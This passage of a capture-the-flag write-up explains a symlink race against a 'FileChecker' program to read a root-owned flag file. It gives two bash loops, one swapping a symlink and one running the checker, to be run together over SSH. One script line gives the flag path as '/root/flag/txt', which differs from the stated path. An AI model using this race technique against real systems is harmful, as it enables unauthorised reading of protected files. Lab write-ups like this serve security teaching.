We wrote two bash scripts, which we put in the home directory after sshing in. `redirect.sh` symlinks repeatedly between the flag at `/root/flag.txt` and a file we have permissions to (which we create in the local directory) called `dummy.txt`. ```while true; do	rm link	ln -s /root/flag/txt link	rm link	ln -s dummy.txt linkdone````runfile.sh` runs `FileChecker` repeatedly on our symlink (only printing to console when we have a flag): ```while true; do	./FileChecker link | grep MCAdone```Now you want both of these in your same ssh session; just set `redirect.sh` to run in the background so that you can run `runfile.sh` at the same time:```./redirect.sh &./runfile.sh```